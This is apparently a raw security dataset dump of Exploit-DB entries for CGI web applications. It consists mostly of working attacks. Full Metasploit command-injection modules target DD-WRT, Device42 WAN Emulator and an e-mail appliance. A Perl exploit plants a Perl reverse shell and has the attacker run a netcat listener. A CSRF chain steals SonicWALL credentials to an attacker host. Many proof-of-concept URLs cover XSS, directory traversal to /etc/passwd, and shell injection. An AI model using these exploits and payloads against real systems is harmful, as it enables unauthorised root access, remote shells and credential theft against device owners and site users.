deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16856
Description: DD-WRT HTTPd Daemon/Service - Arbitrary Command Execution (Metasploit)
Type: webapps
Platform: cgi
Date: 2010-07-07
Author: Metasploit

Exploit:
##
# $Id: ddwrt_cgibin_exec.rb 9719 2010-07-07 17:38:59Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /DD-WRT/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DD-WRT HTTP Daemon Arbitrary Command Execution',
			'Description'    => %q{
					This module abuses a metacharacter injection vulnerability in the
				HTTP management server of wireless gateways running DD-WRT. This flaw
				allows an unauthenticated attacker to execute arbitrary commands as
				the root user account.
			},
			'Author'         => [ 'gat3way', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9719 $',
			'References'     =>
				[
					[ 'CVE', '2009-2765' ],
					[ 'OSVDB', '55990' ],
					[ 'BID', '35742' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/9209' ]
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'RequiredCmd' => 'generic netcat-e'
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 20 2009'
			))
	end

	def exploit

		cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join
		# TODO: force use of echo-ne CMD encoder
		str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"

		print_status("Sending GET request with encoded command line...")
		send_request_raw({ 'uri' => "/cgi-bin/;#{str}" })

		print_status("Giving the handler time to run...")
		handler

		select(nil, nil, nil, 10.0)
	end

end
Exploit-DB #36940
Description: Dell SonicWALL Secure Remote Access (SRA) Appliance - Cross-Site Request Forgery
Type: webapps
Platform: cgi
Date: 2015-05-07
Author: Veit Hailperin

Exploit:
# Exploit Title: Dell SonicWALL Secure Remote Access (SRA) Appliance Cross-Site Request Forgery
# Date: 04/28/2015
# Exploit Author: Veit Hailperin
# Vendor Homepage: www.dell.com
# Version: Dell SonicWALL SRA 7.5 prior to 7.5.1.0-38sv and 8.0 prior to 8.0.0.1-16sv
# CVE : 2015-2248

Exploitation Procedure (Outline):
  1. Use CSRF to force currently logged in user to create a bookmark pointing to an endpoint controlled by the attacker.
  2. Use subsequent request to call the bookmark just created. The identifier of the bookmark can be bruteforced using a single decrementing integer and causes minimal time delay.
  3. Gather the credentials on the target server provided in step #1 
  
1. Create a bookmark:

<html>
  <body>
    <form action="https://vulnerable.vpn-installation.tld/cgi-bin/editBookmark" method="POST">
      <input type="hidden" name="bmName" value="foo" />
      <input type="hidden" name="host" value="www.malicious-host.tld" />
      <input type="hidden" name="description" value="bar" />
      <input type="hidden" name="tabs" value="Baz" />
      <input type="hidden" name="service" value="HTTP" />
      <input type="hidden" name="fbaSSOEnabled" value="on" />
      <input type="hidden" name="fbaSSOFormUserName" value="user" />
      <input type="hidden" name="fbaSSOFormUserPassword" value="password" />
      <input type="hidden" name="MC&#95;App" value="inherit" />
      <input type="hidden" name="MC&#95;Copy" value="inherit" />
      <input type="hidden" name="MC&#95;Print" value="inherit" />
      <input type="hidden" name="MC&#95;Offline" value="inherit" />
      <input type="hidden" name="name" value="name" />
      <input type="hidden" name="type" value="type" />
      <input type="hidden" name="owner" value="owner" />
      <input type="hidden" name="cmd" value="add" />
      <input type="hidden" name="wantBmData" value="true" />
      <input type="hidden" name="ok" value="OK" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

2. Call the newly created bookmark
This might require some guesswork, because we don't know which value bookmarkAccessed needs to have.

<html>
  <body>
    <form action="https://vulnerable.vpn-installation.tld/cgi-bin/http">
      <input type="hidden" name="HOST" value="www.malicious-host.tld" />
      <input type="hidden" name="bookmarkAccessed" value="4" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

3. Set up a listener
E.g. metasploit payload 
use auxiliary/server/capture/http_basic

msf auxiliary(http_basic) > 
[*] Listening on 0.0.0.0:80...
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://www.malicious-host.tld:80/
[*] Server started.
[*] vulnerable.vpn-installation.tld    http_basic - Sending 401 to client vulnerable.vpn-installation.tld
[+] vulnerable.vpn-installation.tld    http_basic - vulnerable.vpn-installation.tld - Credential collected: "user:password"
Exploit-DB #26761
Description: Dell TrueMobile 2300 - Remote Credential Reset
Type: webapps
Platform: cgi
Date: 2005-12-07
Author: TNull

Exploit:
source: https://www.securityfocus.com/bid/15770/info

It is possible for remote attackers to gain control of a target TrueMobile 2300 running firmware versions 3.0.0.8 and 5.1.1.6. Other versions are likely affected. The vulnerability appears to be in an administrative component accessed through the web-based control interface. Unauthenticated attackers can force the device to reset the administrative credentials without authorization. Once credentials have been reset an attacker can log in and perform malicious actions, potentially compromising the entire LAN behind the device. 

http://target/apply.cgi?Page=adv_password.asp&action=ClearLog

A dialog requesting credentials may appear. The action will be performed, even if "cancel" is clicked.
Exploit-DB #35384
Description: Device42 WAN Emulator 2.3 - Ping Command Injection (Metasploit)
Type: webapps
Platform: cgi
Date: 2014-11-26
Author: Brandon Perry

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WAN Emulator v2.3 Command Execution',
      'Description'    => %q{
      },
      'License'        => MSF_LICENSE,
      'Privileged'     => true,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Author'         =>
        [
          'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
        ],
      'References'     =>
        [
        ],
      'Payload'        =>
        {
          'Space'       => 1024,
          'BadChars'    => "",
          'DisableNops' => true,
          #'Compat'      =>
          #  {
          #    'PayloadType' => 'cmd',
          #    'RequiredCmd' => 'generic netcat netcat-e',
          #  }
        },
      'DefaultOptions' =>
        {
          'ExitFunction' => 'none'
        },
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 12 2012'
    ))
  end

  def exploit
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'accounts', 'login/'),
    })

    cookie = res.headers['Set-Cookie']

    csrf = $1 if res.body =~ / name='csrfmiddlewaretoken' value='(.*)' \/><\/div>/

    post = {
      'csrfmiddlewaretoken' => csrf,
      'username' => 'd42admin',
      'password' => 'default',
      'next' => '/'
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'accounts', 'login/'),
      'vars_post' => post,
      'method' => 'POST',
      'cookie' => cookie
    })

    unless res.code == 302
      fail_with("auth failed")
    end

    cookie = res.headers['Set-Cookie']

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ping/'),
      'cookie' => cookie
    })

    cookie = res.headers['Set-Cookie']
    csrf = $1 if res.body =~ / name='csrfmiddlewaretoken' value='(.*)' \/><\/div>/

    post = {
      'csrfmiddlewaretoken' => csrf,
      'pingip' => "www.google.com`echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode|sh`",
      'ping' => ''
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ping/'),
      'method' => "POST",
      'vars_post' => post,
      'cookie' => cookie
    })
  end
end
Exploit-DB #35383
Description: Device42 WAN Emulator 2.3 - Traceroute Command Injection (Metasploit)
Type: webapps
Platform: cgi
Date: 2014-11-26
Author: Brandon Perry

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WAN Emulator v2.3 Command Execution',
      'Description'    => %q{
      },
      'License'        => MSF_LICENSE,
      'Privileged'     => true,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Author'         =>
        [
          'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
        ],
      'References'     =>
        [
        ],
      'Payload'        =>
        {
          'Space'       => 1024,
          'BadChars'    => "",
          'DisableNops' => true,
          #'Compat'      =>
          #  {
          #    'PayloadType' => 'cmd',
          #    'RequiredCmd' => 'generic netcat netcat-e',
          #  }
        },
      'DefaultOptions' =>
        {
          'ExitFunction' => 'none'
        },
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 12 2012'
    ))
  end

  def exploit
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'accounts', 'login/'),
    })

    cookie = res.headers['Set-Cookie']

    csrf = $1 if res.body =~ / name='csrfmiddlewaretoken' value='(.*)' \/><\/div>/

    post = {
      'csrfmiddlewaretoken' => csrf,
      'username' => 'd42admin',
      'password' => 'default',
      'next' => '/'
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'accounts', 'login/'),
      'vars_post' => post,
      'method' => 'POST',
      'cookie' => cookie
    })

    unless res.code == 302
      fail_with("auth failed")
    end

    cookie = res.headers['Set-Cookie']

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ping/'),
      'cookie' => cookie
    })

    cookie = res.headers['Set-Cookie']
    csrf = $1 if res.body =~ / name='csrfmiddlewaretoken' value='(.*)' \/><\/div>/

    post = {
      'csrfmiddlewaretoken' => csrf,
      'traceip' => "www.google.com`echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode|sh`",
      'trace' => ''
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ping/'),
      'method' => "POST",
      'vars_post' => post,
      'cookie' => cookie
    })
  end
end
Exploit-DB #26852
Description: Dick Copits PDEstore 1.8 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2005-12-15
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15898/info

Dick Copits PDEstore is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 1.8 of PDEstore is affected by these issues. Other versions may also be affected. 

http://www.example.com/pdestore.cgi?product=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E
http://www.example.com/pdestore.cgi?product=jewelry&cart_id=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E
Exploit-DB #33958
Description: Digital Factory Publique! 2.3 - 'sid' SQL Injection
Type: webapps
Platform: cgi
Date: 2010-05-06
Author: Christophe de la Fuente

Exploit:
source: https://www.securityfocus.com/bid/39988/info

Publique! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Publique! 2.3 is vulnerable; other versions may also be affected.

http://www.example.com/publique/cgi/cgilua.exe/sys/start.htm?sid=1
Exploit-DB #27021
Description: DiscusWare Discus 3.10 - Error Message Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2006-01-02
Author: $um$id

Exploit:
source: https://www.securityfocus.com/bid/16119/info

DiscusWare Discus is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Discus Professional 3.10 and Discus Freeware 3.10 are vulnerable; other versions may also be affected. 

http://www.example.com/cgi-bin/discus/board-post.cgi?HTTP_REFERER=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&preview=1&message=&username=&[CREDENTIAL_REDACTED]_links=1&active_links_a=1
Exploit-DB #21679
Description: Dispair 0.1/0.2 - Remote Command Execution
Type: webapps
Platform: cgi
Date: 2002-07-30
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/5392/info

Dispair fails to sufficiently validate user-supplied input before it is passed to the shell via the Perl open() function. Remote attackers may potentially exploit this issue to execute arbitrary commands on the underlying shell with the privileges of the webserver process.

http://target/cgi-bin/dispair.cgi?file=fiddle&view=%0A/usr/bin/id
Exploit-DB #23217
Description: Divine Content Server 5.0 - Error Page Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2003-10-03
Author: valgasu

Exploit:
source: https://www.securityfocus.com/bid/8763/info

It has been reported that Divine Content Server is prone to a cross-site scripting vulnerability due to insufficient sanitization of user-supplied input. The problem exists in the 'pagename' attribute in the error page of the software. This issue may allow a remote attacker to execute HTML or script code in user's browser.

Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials. Other attacks may well be possible.

Divine Content Server version 5.0 may be vulnerable to this issue, however this information cannot be confirmed at the moment. 

http://www.example.com/servlet/ContentServer?pagename=<body%20onload=alert(document.cookie);>
Exploit-DB #9140
Description: DJ Calendar - 'DJcalendar.cgi TEMPLATE' File Disclosure
Type: webapps
Platform: cgi
Date: 2009-07-14
Author: cibbao

Exploit:
Discovered by cibbao

PoC:

/cgi-bin/DJcalendar.cgi?TEMPLATE=/../../../../../../../etc/passwd

# milw0rm.com [2009-07-14]
Exploit-DB #39130
Description: DotItYourself - 'dot-it-yourself.cgi' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2014-03-26
Author: Felipe Andrian Peixoto

Exploit:
source: https://www.securityfocus.com/bid/66487/info

DotItYourself is prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary commands in the context of the affected application.

DotItYourself 6.11.060830 is vulnerable; other versions may also be affected. 

http://www.example.com/cade/dot-it-yourself.cgi?download=;id|
Exploit-DB #954
Description: E-Cart 1.1 - 'index.cgi' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2005-04-25
Author: z

Exploit:
#!/usr/bin/perl
#
# Example added if code doesn't work for ya:
# http://SITE/DIRTOECART/index.cgi?action=viewart&cat=reproductores_dvd&art=reproductordvp-ns315.dat|uname%20-a|
# /str0ke
#
#
# info: emanuele@orvietolug.org
#
use IO::Socket; 

print "\n\n ~~ www.badroot.org ~~ \n\n";
print " E-Cart E-Commerce Software index.cgi\n";
print " Remote Command Execution Vulnerability\n";
print " Affected version: <= E-Cart 2004 v1.1\n";
print " http://www.securityfocus.com/archive/1/396748/2005-04-20/2005-04-26/0  \n\n";
print " ~~ code by z\\ ~~\n\n\n";
print " 04.23.2005\n\n\n";


print "hostname: \n"; 
chomp($server=<STDIN>);  

print "port: (default: 80)\n";
chomp($port=<STDIN>);
$port=80 if ($port =~/\D/ );
$port=80 if ($port eq "" );

print "path: (/cgi-bin/ecart/)\n";
chomp($path=<STDIN>);

print "your ip (for reverse connect): \n";
chomp($ip=<STDIN>);

print "your port (for reverse connect): \n";
chomp($reverse=<STDIN>);


print " \n\n";
print "~~~~~~~~~~~~~~~~~~~~START~~~~~~~~~~~~~~~~~\r\n";

print "[*] try to exploiting...\n"; 

$string="/$path/index.cgi?action=viewart&cat=reproductores_dvd&art=reproductordvp-ns315.dat|cd /tmp;echo ".q{use Socket;$execute= 'echo "`uname -a`";echo "`id`";/bin/sh';$target=$ARGV[0];$port=$ARGV[1];$iaddr=inet_aton($target) || die("Error: $!\n");$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");$proto=getprotobyname('tcp');socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");connect(SOCKET, $paddr) || die("Error: $!\n");open(STDIN, ">&SOCKET");open(STDOUT, ">&SOCKET");open(STDERR, ">&SOCKET");system($execute);close(STDIN)}." >>cbs.pl;perl cbs.pl $ip $reverse|";

print "[*] OK! \n"; 
print "[*] NOW, run in your box: nc -l -vv -p $reverse\n";
print "[*] starting connect back on $ip :$reverse\n";
print "[*] DONE!\n";
print "[*] Loock netcat windows and funny\n\n";
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => tcp) 
or die; 


print $socket "POST $path HTTP/1.1\n"; 
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "User-Agent: 7330ecart\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Connection: close\n\n";

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
print " WARNING - WARNING - WARNING - WARNING   \r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\n";
print "If connect back shell not found:\n";
print "- you do not have privileges to write in /tmp\n";
print "- Shell not vulnerable\n\n\n";
print "Greetz: albythebest - #badroot irc.us.azzurra.org - #hacker.eu us.ircnet.org\n\n\n";


# milw0rm.com [2005-04-25]
Exploit-DB #20712
Description: E-Mail Security Virtual Appliance - 'learn-msg.cgi' Command Injection (Metasploit)
Type: webapps
Platform: cgi
Date: 2012-08-22
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "E-Mail Security Virtual Appliance learn-msg.cgi Command Injection",
			'Description'    => %q{
					This module exploits a command injection vulnerability found in E-Mail Security
				Virtual Appliance. This module abuses the learn-msg.cgi file to execute arbitrary
				OS commands without authentication. This module has been successfully tested on the
				ESVA_2057 appliance.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'iJoo', # Vulnerability Discovery and PoC
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'EDB', '20551' ]
				],
			'Payload'        =>
				{
					'BadChars' => "",
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl python',
						}
				},
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					['ESVA_2057', {}],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Aug 16 2012",
			'DefaultTarget'  => 0))
	end


	def check
		clue = Rex::Text::rand_text_alpha(rand(5) + 5)
		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => "/cgi-bin/learn-msg.cgi",
			'vars_get' => {
				'id' => "|echo #{clue};"
			}
		})

		# If the server doesn't return the default redirection, probably something is wrong
		if res and res.code == 200 and res.body =~ /#{clue}/
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		peer = "#{rhost}:#{rport}"

		print_status("#{peer} - Sending Command injection")
		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => "/cgi-bin/learn-msg.cgi",
			'vars_get' => {
				'id' => "|#{payload.raw};"
			}
		})

		# If the server doesn't return the default redirection, probably something is wrong
		if not res or res.code != 200 or res.body !~ /meta http-equiv="refresh" content="0;URL=\/learned.html"/
			print_error("#{peer} - Probably command not executed, aborting!")
			return
		end

		print_good("#{peer} - Command executed successfully")
		print_status("#{peer} - Output: \n#{res.body.split("Learned tokens")[0]}")
	end

end
Exploit-DB #25632
Description: Easy Message Board - Directory Traversal
Type: webapps
Platform: cgi
Date: 2005-05-09
Author: SoulBlack Group

Exploit:
source: https://www.securityfocus.com/bid/13551/info

Easy Message Board is prone to a directory traversal vulnerability that could allow attackers to read files outside the Web root. 

http://www.example/com/cgi-bin/emsgb/easymsgb.pl?print=../../../../../../../../etc/passwd
Exploit-DB #25634
Description: Easy Message Board - Remote Command Execution
Type: webapps
Platform: cgi
Date: 2005-05-09
Author: SoulBlack Group

Exploit:
source: https://www.securityfocus.com/bid/13555/info

Easy Message Board is prone to a remote command execution vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

http://www.example.com/cgi-bin/emsgb/easymsgb.pl?print=|id|
Exploit-DB #26716
Description: Easy Search System 1.1 - 'search.cgi' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-12-05
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15705/info

Easy Search System is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/search.cgi?q=[XSS]